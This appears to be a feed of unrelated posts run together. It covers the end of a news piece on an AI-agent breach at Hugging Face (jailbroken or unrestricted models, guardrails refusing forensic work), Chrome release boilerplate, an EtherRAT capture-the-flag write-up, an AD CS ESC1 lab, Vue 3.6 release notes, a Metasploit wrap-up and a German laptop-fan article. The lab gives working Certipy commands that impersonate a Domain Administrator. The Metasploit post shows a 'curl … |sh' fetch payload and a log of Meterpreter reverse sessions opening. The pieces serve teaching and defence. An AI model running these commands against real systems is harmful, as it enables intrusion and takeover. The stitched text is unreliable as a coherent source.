GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.

What authenticated trust changes

The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”

“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”

Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”

AI-enabled attacks rose 89% year-over-year

Autonomous AI-driven attacks are not limited to AI platforms. CrowdStrike’s 2026 Global Threat Report documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.

Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.

AI Pipeline Breach Response Playbook

The board question is operational resilience

“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy.

She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.

“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued.

Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”

Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.

Dieser Beitrag Hugging Face: KI-Agent-Angriff über Dataset-Loader und Template Injection erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

The post PENTDEM AI Pentesting Daemon Uses 34 Security Tools to Automate Attack Chains appeared first on Cyber Security News.

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.

If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

You can see a partial list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.

If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

The post Hugging Face Confirms AI-Driven Breach: Attackers used Autonomous Agents, defenders countered with AI appeared first on Cyber Security News.

CallMeOnTheChain - EtherRAT | Blue team challenge.

You can read this writeup on my GitBook: Link

Scenario

Something is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an unauthorized external source. The trail led back to a single server: their public-facing web application. No failed logins, brute force, or phishing were detected, yet the attacker gained entry and established a way to return. This follows a pattern of Maromalix being targeted by attackers leveraging AI-assisted tooling. Using the captured network traffic, reconstruct the timeline and uncover exactly how this breach occurred.

Initial Access

Q1: What is the IP address of the attacker that exploited the web application?

By reading the scenario above carefully, we have a public-facing web application asset that got attacked, so let’s start investigation.
We are provided here with a pcap file with ssl keys log file:

At first, filtered for http traffic, and took a look at conversations, found the IP for the web-server (arguably172.31.44.238 is the web-server IP)

Narrowing down a little with this query: http.request.method==POST and ip.dst==172.31.44.238 for less packets and better inspection (~300 packets).
After following someTLSstreams, found this communication:

a weird POST requests generated by a script maybe (User-Agent: python-requests/2.31.0\r\n) and have the same length (339).
so, i guess this needs further investigation by adding the source IP address http.request.method==POST and ip.dst==172.31.44.238 and ip.src==63.180.69.24

Actually i couldn’t stop myself from inspecting the fisrtPOST request with a different length, so i followed the TLSstream for this hovered packet:

so it’s a payload that abuses a JavaScript weakness (prototype pollution + constructor escape) to escape normal restrictions, then executes the system command id on the server. After that, it tries to sneak the result back to the attacker by embedding it inside an error response.

Also, By investigating the second packets with the length > 339:

we can find this payload also:

So it makes sense now!!

63.180.69.24

Q2: What is the CVE identifier for the vulnerability exploited in this attack?

from the Lab Name, we can search and get the CVE easily:

Or by searching for the CVE from the payloads we’ve already identified in the previous question:

CVE-2025–55182

Execution

Q3: What is the filename of the script downloaded by the exploit payload to install the malware?

based on paloalto report (link) we did identified this

so, we can filter for the user-agent curl , and GET requests:
http.request.method==GET and http.user_agent contains "curl"

s.sh

Q4: What is the filename of the decrypted implant that serves as the main RAT?

By investigating the bash script file, we can get the correct answer directly:

.7vfgycfd01.js

Defense Evasion

Q5: What is the hidden directory path used by the malware to store its components?

Investigating the same Bash script file, it’s obvious at the beginning of the file:

~/.local/share/.05bf0e9b

Q6: The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?

since we have the full script, the script contains a Base64 encoded Blob

That is AES Encrypted, with a clear Key and IV as you can see,

So, Let’s decrypt it properly on cyberchef (link), and get the answer:

ru

Command and Control

Q7: What are the two smart contract addresses used for C2 resolution? (Format: in the order they are queried)

from the same previous decrypted Code, we can get the addresses directly:

0x22f96d61cf118efabc7c5bf3384734fad2f6ead4,0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4

Q8: When was the primary smart contract deployed on the Ethereum network (UTC)?

from the previous image, we can determine that the first contract is the primary one, so let’s check it online (link)

from etherscan, we can can go to the full contract and get the timestamp:

2025–12–05 19:13:47

Q9: Since the smart contract is deployed on a public blockchain, its source code can be obtained.
What function name is used to retrieve the stored C2 URL?

in my case i used the Dedaub (LINK),

Now, we can put the input data we found in the contract into Dedaub:

just like this:

and now it’s decompiled successfully:

it’s basically a minimal storage contract that lets an address store and retrieve a string mapped to its address, so let’s take that full string and decompile it again into Dedaub:

getString

Q10: What is the transaction hash of the first C2 URL published to the primary contract?

investigating the first transaction hash as shown:

investigating the Input data:

Decode Input

so yeah, it contains the C2 URL, so hit the transaction hash for the answer

0xe4efe4d2b118229161f7023e13ab98b54180fbfb1756d11959e4f19238b9655d

Q11: When did the implant retrieve the C2 URL from the blockchain (UTC)?

falling back to our pcap file, we can use this filter: http contains "eth"or search for eth_callsince it is the JSON-RPC method used to read data from smart contracts:

2026–02–10 18:37

Q12: What C2 URL did the implant retrieve from the blockchain during execution?

we can see here the traffic direction:

https://63.176.62.199:443

Q13: What is the Bot ID assigned to the compromised host?

the same previous packet, we can get the BotID from it

4ebfbc8aedf60511

Credential Access

Q14: Once connected to the C2, the implant started executing multi-stage payloads.
What is the endpoint path used for exfiltrating harvested credentials?

checking all visited URLs, until you'll find this:

/crypto/keys

Persistence

Q15: What is the filename of the systemd user service created for persistence?

Since we are looking for Linux persistence via a systemd user service, so the goal is to find where the attacker creates or references a .service file.

c16a536e1a9cb42d.service

Q16: What is the comment field in the attacker’s injected SSH public key?

we need to know first that the structure is like this:
ssh-rsa <public key> <comment> , so by the filter : http contains "ssh-rsa"

single lonely packet, let’s check its TLS stream, and get the answer:

maromalix@ether_dev

Execution

Q17: When was the first remote command executed through the C2 channel (UTC)?

this question and the next one Q18, have the same idea.
from reading the full decrypted AES js file (Link), we can determine that It generates a fake-looking URL, which is used for Beaconing:

https://<C2_DOMAIN>/api/<RANDOM>/<BOT_ID>/<RANDOM>.<EXT>?<PARAM>=<BOT_ID>


https://63.176.62.199:443/api/<RANDOM>/4ebfbc8aedf60511/<RANDOM>.<EXT>?<PARAM>=4ebfbc8aedf60511

So, by searching with this query: http.request.method==GET and ip.src==172.31.44.238 and ip.dst==63.176.62.199, we can see this:

All commands by the C2 Beaconing server (with some jitter intervals)

SO, we can determine the command by following the TLS Stream for each packet, (the command will be seen in the GETresponse packet) like this:

or another way, with searching for the POSTrequests, from the web-server to the C2 server with query: http.request.method==POST and ip.src==172.31.44.238 and ip.dst==63.176.62.199

and get the precious commands “whoami” with the timestamp:

2026–02–10 18:40

Q18: After establishing access, the attacker closed the door behind them so no one could get in the way they did.
What Next.js version was installed to patch the vulnerability?

investigating all commands by this amazing query:

http.request.method==POST and ip.src==63.180.69.24 and http.request.uri
contains "/login" and http.content_length>339

we now have all the 8 executed commands, this one is the one we need

so by investigating each packet (Follow TLS) we can find this

15.3.9

Q19: Based on the observed IOCs and TTPs,
which nation-state is most likely behind this activity?

from the CVE number (CVE-2025–55182), we identified that it’s origin from North Korea (DPRK)

DPRK

Thanks For Reading, Hope you enjoyed❤️

Keep in touch with me via: https://linktr.ee/Prankster99

CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders] was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

What is AD CS?

Active Directory Certificate Services (AD CS) allows users and computers to obtain certificates for authentication, encryption, and other services.

If certificate templates are misconfigured, attackers can request certificates for other users, including Domain Administrators, leading to privilege escalation.

In this lab, I exploited an ESC1 certificate template misconfiguration.

Lab Setup

• Domain: LAB.LOCAL
• Domain Controller: 192.168.56.104
• Certificate Authority: lab-DC1-CA
• Attacker: bob

Step 1 — Enumerate AD CS

First, I looked for vulnerable certificate templates using Certipy.

certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -dc-host DC1.lab.local -target DC1.lab.local -ldap-scheme ldap -vulnerable -debug

Certipy identified a vulnerable template named:

ESC1-Lab

This template allowed the requester to specify an arbitrary User Principal Name (UPN).

Step 2 — Request an Administrator Certificate

Since the template was vulnerable, I requested a certificate while impersonating the Administrator account.

certipy-ad req -u bob@lab.local -p 'Password@123' -ca lab-DC1-CA -template ESC1-Lab -upn Administrator@lab.local -dc-ip 192.168.56.104

Certipy successfully issued an Administrator certificate and saved it as:

administrator.pfx

Step 3 — Authenticate as Administrator

Finally, I authenticated using the issued certificate.

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.104

Authentication succeeded, allowing me to impersonate the Domain Administrator without ever knowing the Administrator’s password.

Why Did This Work?

The certificate template was vulnerable to ESC1 because it:

• Allowed users to enroll.
• Allowed the requester to supply any UPN.
• Was trusted for client authentication.

This meant Bob could request a certificate for Administrator@lab.local and authenticate as that user.

How to Fix It

To prevent ESC1 attacks:

1.Disable “Supply in the request” unless absolutely necessary.

2. Restrict enrollment permissions to trusted users.

3. Review certificate templates regularly.

4. Remove unnecessary Client Authentication EKUs.

5. Audit AD CS with tools like Certipy and BloodHound.

Verify the Fix

Run the enumeration again.

certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -vulnerable

If the template is properly secured, ESC1-Lab should no longer appear as vulnerable.

Key Takeaways

1. Regularly audit AD CS templates.

2. Follow the principle of least privilege.

3. Restrict certificate enrollment permissions.

4. Monitor certificate enrollment events.

Disclaimer: This article is part of my Active Directory Lab Series. All demonstrations were performed in my self-hosted GOAD lab for educational and defensive purposes. Never perform these techniques on systems without proper authorization.

— Written by

Aruvasaga Chithan A

Ethical Hacker & Cyber Security Researcher.

Thanks for reading — your support keeps me writing.
See you in the next article…

Linkedin.

How I Escalated to Domain Admin Using AD CS (And How to Fix It) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

3.6 also includes a major refactor of @vue/reactivity based on alien-signals, which significantly improves the reactivity system's performance and memory usage.

For more details about Vapor Mode, see the About Vapor Mode section later in this release note.

Bug Fixes

• hydration: avoid resolving inherited fallback in forwarded slots (4c215b5)
• hydration: remove adopted SSR DOM for unresolved async setup (3859af4)
• runtime-vapor: avoid patching invalid VNode slot content (25f5a8a)
• runtime-vapor: clean up detached slot branches (b41009d)
• runtime-vapor: defer slot content anchors during hydration (9b9e4bd)
• runtime-vapor: preserve outer pending slot anchors (4af4bf9)
• runtime-vapor: preserve slot content anchors during mismatch recovery (26f90b5)
• runtime-vapor: preserve v-show transition on vdom child (#15074) (fe882c9), closes #15073
• runtime-vapor: preserve vapor slot owner during interop slot dry run (#15031) (340630e)
• runtime-vapor: preserve VNode anchors in dynamic component hydration (898e2ca)
• runtime-vapor: remove unsafe slot dry runs from vdom interop (#15089) (3d42cdf), closes #14793
• runtime-vapor: reuse hydration anchor candidates (06778e7)
• vapor: handle v-if and v-show on transition roots (#15069) (8f62f2e), closes #15068

About Vapor Mode

Vapor Mode is a new compilation mode for Vue Single-File Components (SFCs) with the goal of reducing baseline bundle size and improving performance.

It is 100% opt-in and supports a subset of existing Vue APIs with mostly identical behavior. Features that depend on VNodes or the component public instance proxy are not available in Vapor components.

Vapor Mode has demonstrated the same level of performance as Solid and Svelte 5 in third-party benchmarks.

General Stability Notes

Vapor Mode is feature-complete in Vue 3.6 RC. For now, we recommend using it in the following cases:

• Partial usage in existing apps, such as implementing a performance-sensitive page in Vapor Mode.
• Building small new apps entirely in Vapor Mode.

Opting In to Vapor Mode

Vapor Mode supports template-only SFCs and SFCs using <script setup>; the Options API is not supported. The following forms are supported:

<script setup vapor>
// ...
</script>

<script vapor> is shorthand for <script setup vapor>:

<script vapor>
// ...
</script>

The vapor marker can also be placed on the template, enabling Vapor compilation for the entire SFC:

<template vapor>
  <!-- ... -->
</template>

Creating an App and Using VDOM Interop

Pure Vapor Applications

Applications composed entirely of Vapor components can use createVaporApp():

import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')

Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.

Enabling VDOM Interop

To use Vapor components in a VDOM app instance created via createApp(), the vaporInteropPlugin must be installed:

import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')

A Vapor app instance can also install vaporInteropPlugin to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.

Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.

When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.

In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.

Feature Compatibility

By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:

• Options API
• app.config.globalProperties
• getCurrentInstance() returns null in Vapor components
• @vue:xxx per-element lifecycle events
• v-memo
• Component template refs do not expose properties such as $el, $props, $attrs, $slots, and $refs

Important Usage Considerations

Event Delegation and stopPropagation()

Vapor delegates eligible events to document. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.

If any ancestor calls stopPropagation(), the event never reaches document, and the delegated handler will not run.

The following forms bypass delegation and attach the listener directly to the element:

<button @[event]="onClick" />
<button v-bind="{ onClick }" />
<button v-on="{ click: onClick }" />

slots.default() Is Not a Safe Dry Run

In Vapor, slots.default() is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.

Do not call a slot to inspect its output before deciding what else to render:

<script setup vapor>
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
</script>

<template>
  <div v-if="showFallback">Fallback</div>
</template>

Instead, leave slot rendering to the template:

<template>
  <slot />
</template>

Custom Directives Use a Different Interface

Custom directives in Vapor also have a different interface:

type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () => any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) => (() => void) | void

value is a reactive getter that returns the binding value. Reactive effects can be set up using watchEffect() and are automatically released when the component unmounts. A directive may also return a cleanup function:

const MyDirective = (el, source) => {
  watchEffect(() => {
    el.textContent = source()
  })
  return () => console.log('cleanup')
}

Behavior Consistency

Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the RSS Feed to be alerted when new blogs are released.

Fetch Multi: Just Fetch and Forget?

Our very own bwatters-r7 continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads.

Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command curl -s http://10.5.135.210:8080/x|sh on each target.

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port
   When FETCH_COMMAND is one of CURL,GET,WGET:
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.
   When FETCH_FILELESS is none:
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >

RISC architecture is going to change everything!

Speaking of juggling multiple architectures, bcoles added support for yet another IoT arch: RiscV. The change adds staged and stageless shell payloads for both 32- and 64-bit RiscV systems, and dovetails well with his other PR adding XOR encoders for RiscV payloads.

New module content (4)

Microsoft Windows HTTP to SMB Relay

Author: jheysel-r7

Type: Auxiliary

Pull request: #21620 contributed by jheysel-r7

Path: server/relay/http_to_smb

Description: Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.

Byte XORi Encoder

Author: bcoles bcoles@gmail.com

Type: Encoder

Pull request: #21235 contributed by bcoles

Path: riscv32le/byte_xori

Description: Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.

FTP, HTTP, HTTPS and METERPRETER_REVERSE_TCP Fetch, Linux Chmod

Authors: Brendan Watters, Spencer McIntyre, and bcoles bcoles@gmail.com

Type: Payload (Adapter)

Pull request: #21384 contributed by bwatters-r7

Description: Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.

This adapter adds 421 new payloads for all Linux and Windows architectures including:

• cmd/linux/ftp/aarch64/chmod
• cmd/linux/ftp/x86/meterpreter/reverse_tcp
• cmd/windows/ftp/aarch64/meterpreter_reverse_http

FTP Fetch, Linux dup2 Command Shell, Bind TCP Stager

Authors: Brendan Watters, Spencer McIntyre, and bcoles bcoles@gmail.com

Type: Payload (Stager)

Pull request: #21237 contributed by bcoles

Description: Adds reverse_tcp and bind_tcp stagers and a shell command stage for both RISC-V 64-bit and 32-bit little-endian Linux targets.

• cmd/linux/ftp/riscv32le/shell/bind_tcp
• cmd/linux/http/riscv32le/shell/bind_tcp
• cmd/linux/https/riscv32le/shell/bind_tcp
• cmd/linux/tftp/riscv32le/shell/bind_tcp
• linux/riscv32le/shell/bind_tcp
• cmd/linux/ftp/riscv32le/shell/reverse_tcp
• cmd/linux/http/riscv32le/shell/reverse_tcp
• cmd/linux/https/riscv32le/shell/reverse_tcp
• cmd/linux/tftp/riscv32le/shell/reverse_tcp
• linux/riscv32le/shell/reverse_tcp
• cmd/linux/ftp/riscv64le/shell/bind_tcp
• cmd/linux/http/riscv64le/shell/bind_tcp
• cmd/linux/https/riscv64le/shell/bind_tcp
• cmd/linux/tftp/riscv64le/shell/bind_tcp
• linux/riscv64le/shell/bind_tcp
• cmd/linux/ftp/riscv64le/shell/reverse_tcp
• cmd/linux/http/riscv64le/shell/reverse_tcp
• cmd/linux/https/riscv64le/shell/reverse_tcp
• cmd/linux/tftp/riscv64le/shell/reverse_tcp
• linux/riscv64le/shell/reverse_tcp

Enhancements and features (4)

• #21235 from bcoles - Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.
• #21384 from bwatters-r7 - Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.
• #21599 from Pushpenderrathore - This extends CertificateTrace functionality to also surface the server's TLS peer certificate when an HTTP module connects over HTTPS. This makes use of the same CertificateTrace enum (off/metadata/full) operators are already familiar with.
• #21602 from zeroSteiner - Updates the Windows service PE template to use an injected segment instead of the old substitution method.

Bugs fixed (4)

• #21621 from eipoverflow - This fix a limitation on running fileless staged Meterpreter in recent OSX versions.
• #21670 from zeroSteiner - Marks the dynamic XOR encoders as unable to preserve registers and adds regression coverage for stage encoding when a preserved register is required.
• #21675 from sjanusz-r7 - Fix search_cache job cache generation by skipping multi arch payloads.
• #21677 from bwatters-r7 - Fixes a bug in the HTTP relay server mixin where requests matching the module's URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.143...6.4.144
• Full diff 6.4.143...6.4.144

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

The post PentestCode – New AI Agent That Automates Penetration Testing with 18 Specialized Tools appeared first on Cyber Security News.

Vielleicht kennen Sie das: Man sitzt konzentriert am Schreibtisch, und plötzlich klingt das Notebook wie eine startende Boeing 747. Während das eigene Gerät bei der kleinsten Excel-Tabelle aufheult, scheint der Laptop des Kollegen selbst bei Videobearbeitung keinen Mucks von sich zu geben. Woran liegt das?

Ob ein Notebook flüsterleise arbeitet oder ständig den Lüfter anwirft, ist keine Zauberei, sondern ein Zusammenspiel aus Alter, Pflege, Software und der verbauten Hardware. Mit den folgenden Tipps machen Sie Schluss mit Lüfter-Lärm – und verstehen, warum moderne Geräte oft deutlich leiser arbeiten.

Der Zahn der Zeit: Warum alte Geräte plötzlich zu laut sind

Viele Nutzer fragen sich, warum ihr ehemals leises Notebook nach zwei oder drei Jahren plötzlich zum Schreihals mutiert. Die Antwort liegt oft nicht nur in einem einzelnen Faktor, sondern in einer Kombination aus Staub, Alterung und veränderter Leistungscharakteristik.

Hausstaub ist dabei tatsächlich der chronische Hauptverursacher. Laptops mit aktiver Kühlung saugen ständig Luft an, um CPU und GPU zu kühlen. Dabei gelangen feine Partikel ins Innere, die sich mit der Zeit an den Rotorblättern des Lüfters und den Lamellen der Kühlkörper absetzen. Das reduziert den Luftdurchsatz – schleichend, aber kontinuierlich.

Das System reagiert darauf mit höheren Lüfterdrehzahlen, weil die Temperatur schneller ansteigt oder nicht mehr effizient abgeführt wird. Zusätzlich entsteht bei vielen älteren Geräten nahezu ein Regelkreislauf aus Hitze und Lautstärke: Die CPU drosselt bei hohen Temperaturen (Thermal Throttling), kühlt daraufhin kurz ab, taktet dann aber wieder hoch – und erzeugt dadurch erneut Wärme. Das führt zum typischen Aufheulen in Wellen – mit extra Nerv-Faktor.

Ein oft übersehener Punkt ist auch die Alterung der Wärmeleitpaste zwischen Prozessor und Kühleinheit. Diese Paste trocknet aus und verliert über die Jahre ihre gleichmäßige Wärmeverteilung. Dadurch entstehen lokale Hotspots, die den Lüfter zusätzlich fordern. Ein fachgerechter Austausch kann die Temperaturen je nach Gerät deutlich senken – in manchen Fällen um bis zu 10 Grad oder mehr.

Auch die Firmware spielt eine Rolle: Bei älteren Notebooks sind die hinterlegten Lüfterkurven oft konservativer eingestellt als bei heutigen Geräten. Das bedeutet: Der Lüfter springt früher und aggressiver an, um thermische Spitzen zu vermeiden. Solche Einstellungen nimmt man übrigens am besten direkt nach dem Kauf eines neuen Gerätes vor.

Macht das Reinigen des Laptop-Inneren Sinn?

Die kurze Antwort: Das macht auf jeden Fall Sinn – in vielen Fällen ist es sogar die effektivste Maßnahme bei älteren Geräten.

Schnellreinigung: Mit Druckluftspray vorsichtig durch die Lüftungsschlitze pusten. Wichtig: Den Lüfter dabei möglichst fixieren, damit er sich nicht unkontrolliert durch den Luftstrom dreht – das kann ihn unnötig belasten. Druckluft hat dabei den Vorteil, dass sie in Strömungsrichtung des Kühlsystems arbeitet und den Staub so aus dem Gerät heraus transportiert. Alternativ lassen sich Staubablagerungen an den Lüftungsgittern auch vorsichtig mit einem Staubsauger auf niedriger Stufe von außen entfernen.

